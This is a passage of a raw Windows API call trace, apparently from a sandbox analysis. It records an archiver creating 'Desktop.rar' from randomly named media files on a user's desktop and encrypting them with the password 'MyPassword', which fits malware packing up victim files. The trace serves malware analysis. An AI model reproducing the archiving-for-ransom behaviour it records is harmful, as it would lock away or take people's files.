WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.767] ResetEvent (hEvent=0x1a4) returned 1 [0063.767] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.771] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.771] ResetEvent (hEvent=0x1a4) returned 1 [0063.771] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.774] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.774] GetTickCount () returned 0xa66470 [0063.774] GetLastError () returned 0x0 [0063.774] SetLastError (dwErrCode=0x0) [0063.774] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.774] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.774] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.774] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0063.774] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=84402663786) returned 1 [0063.774] GetTickCount () returned 0xa66470 [0063.774] GetTickCount () returned 0xa66470 [0063.774] GetTickCount () returned 0xa66470 [0063.774] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.774] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.774] GetFocus () returned 0x10232 [0063.774] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.774] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.774] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.774] GetFocus () returned 0x10232 [0063.774] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.775] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.775] ResetEvent (hEvent=0x190) returned 1 [0063.775] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.776] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.776] ResetEvent (hEvent=0x190) returned 1 [0063.776] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.777] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.777] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0063.777] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0063.777] GetFocus () returned 0x10232 [0063.777] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0063.777] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.777] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x8423ff [0063.777] SetFilePointer (in: hFile=0x198, lDistanceToMove=115, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x842472 [0063.777] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.777] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.777] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.777] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.777] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x18780, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x18780, lpOverlapped=0x0) returned 1 [0063.778] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.778] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.778] SetFilePointer (in: hFile=0x198, lDistanceToMove=8659967, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x8423ff [0063.778] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x8423ff [0063.778] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.778] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.778] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c495b0, Size=0x48) returned 0x34e340 [0063.778] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.778] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.778] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c495b0, Size=0x48) returned 0x34e390 [0063.778] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.779] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.779] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.779] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.779] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb00 | out: hHeap=0x290000) returned 1 [0063.779] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c495b0 | out: hHeap=0x290000) returned 1 [0063.779] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49580, Size=0x48) returned 0x34e340 [0063.779] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.779] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x73, lpOverlapped=0x0) returned 1 [0063.779] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49580 [0063.779] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x73) returned 0x299e1c0 [0063.779] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.779] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.779] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x85abf2 [0063.779] CloseHandle (hObject=0x1b0) returned 1 [0063.779] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.779] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.779] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.779] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.779] FindFirstFileW (in: lpFileName="xipMOvrpEcaMKsnrOoK.m4a", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.779] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.779] CreateFileW (lpFileName="xipMOvrpEcaMKsnrOoK.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\xipmovrpecamksnrook.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.779] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.779] GetTickCount () returned 0xa66470 [0063.779] GetLastError () returned 0x0 [0063.779] SetLastError (dwErrCode=0x0) [0063.779] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.779] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.779] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.779] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0063.780] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0063.780] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.780] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.780] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.780] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.780] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="_acNQOwErx 4yX.mp3") returned 18 [0063.780] SetWindowTextW (hWnd=0x10216, lpString="xipMOvrpEcaMKsnrOoK.m4a") returned 1 [0063.780] GetTickCount () returned 0xa66470 [0063.780] UpdateWindow (hWnd=0x1020e) returned 1 [0063.780] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.780] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.781] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.781] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.781] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x1d1)) [0063.781] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.781] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=87902321077) returned 1 [0063.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x105d7, lpOverlapped=0x0) returned 1 [0063.782] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a0617, nNumberOfBytesToRead=0xefa29, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a0617*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.782] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.782] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.782] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.782] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.782] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e390 [0063.782] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.782] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.782] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e340 [0063.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.782] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.782] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb30 [0063.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb30 | out: hHeap=0x290000) returned 1 [0063.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb00 | out: hHeap=0x290000) returned 1 [0063.782] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c495b0, Size=0x48) returned 0x34e390 [0063.782] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.784] GetTickCount () returned 0xa66470 [0063.784] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=87902649367) returned 1 [0063.784] GetTickCount () returned 0xa66470 [0063.784] GetLastError () returned 0x0 [0063.784] SetLastError (dwErrCode=0x0) [0063.784] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.784] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:11:51") returned 8 [0063.784] SetWindowTextW (hWnd=0x10220, lpString="00:12:27") returned 1 [0063.784] GetTickCount () returned 0xa66470 [0063.784] GetLastError () returned 0x0 [0063.785] SetLastError (dwErrCode=0x0) [0063.785] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.785] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc130, nMaxCount=2560 | out: lpString="00:00:16") returned 8 [0063.785] SetWindowTextW (hWnd=0x10224, lpString="00:00:00") returned 1 [0063.785] GetTickCount () returned 0xa66470 [0063.785] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c495b0) returned 0x0 [0063.785] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c495b0, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.785] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c495b0, hwnd=0x1020e, ullCompleted=0x954fe3, ullTotal=0x954fe3) returned 0x0 [0063.785] TaskbarList:IUnknown:Release (This=0x3c495b0) returned 0x0 [0063.785] GetLastError () returned 0x36b7 [0063.785] SetLastError (dwErrCode=0x36b7) [0063.785] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.785] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.785] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 97%") returned 5 [0063.785] SetWindowTextW (hWnd=0x1022e, lpString=" 100%") returned 1 [0063.786] GetLastError () returned 0x0 [0063.786] SetLastError (dwErrCode=0x0) [0063.786] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.786] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0063.786] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x61 [0063.786] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.786] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.786] GetFocus () returned 0x10232 [0063.786] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.786] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.786] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.786] ResetEvent (hEvent=0x1a4) returned 1 [0063.786] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.788] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.788] ResetEvent (hEvent=0x1a4) returned 1 [0063.788] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.790] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.790] ResetEvent (hEvent=0x1a4) returned 1 [0063.790] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.792] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.792] GetTickCount () returned 0xa6647f [0063.792] GetLastError () returned 0x0 [0063.792] SetLastError (dwErrCode=0x0) [0063.792] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.792] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.792] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.792] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0063.792] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.792] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=91404761946) returned 1 [0063.792] GetTickCount () returned 0xa6647f [0063.792] GetLastError () returned 0x0 [0063.792] SetLastError (dwErrCode=0x0) [0063.792] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.792] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:12:27") returned 8 [0063.792] SetWindowTextW (hWnd=0x10220, lpString="00:13:02") returned 1 [0063.793] GetTickCount () returned 0xa6647f [0063.793] GetLastError () returned 0x0 [0063.793] SetLastError (dwErrCode=0x0) [0063.793] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.793] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0063.793] GetTickCount () returned 0xa6647f [0063.793] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c495b0) returned 0x0 [0063.793] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c495b0, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.793] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c495b0, hwnd=0x1020e, ullCompleted=0x954fe3, ullTotal=0x954fe3) returned 0x0 [0063.793] TaskbarList:IUnknown:Release (This=0x3c495b0) returned 0x0 [0063.793] GetLastError () returned 0x36b7 [0063.793] SetLastError (dwErrCode=0x36b7) [0063.794] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.794] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.794] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.794] GetLastError () returned 0x36b7 [0063.794] SetLastError (dwErrCode=0x36b7) [0063.794] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.794] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0063.794] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0063.794] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.794] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.794] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.794] ResetEvent (hEvent=0x190) returned 1 [0063.794] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.795] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.795] ResetEvent (hEvent=0x190) returned 1 [0063.795] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.795] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.795] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.795] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.795] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x85abf2 [0063.796] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x85ac5d [0063.796] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.796] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.796] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.796] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.796] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x106a0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x106a0, lpOverlapped=0x0) returned 1 [0063.797] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.797] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.797] SetFilePointer (in: hFile=0x198, lDistanceToMove=8760306, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x85abf2 [0063.797] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x85abf2 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.797] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e340 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.797] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e390 [0063.797] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.797] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb30 [0063.797] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb30 | out: hHeap=0x290000) returned 1 [0063.797] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb00 | out: hHeap=0x290000) returned 1 [0063.797] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c495b0, Size=0x48) returned 0x34e340 [0063.797] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.797] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x6b, lpOverlapped=0x0) returned 1 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c495b0 [0063.797] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6b) returned 0x299e240 [0063.797] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 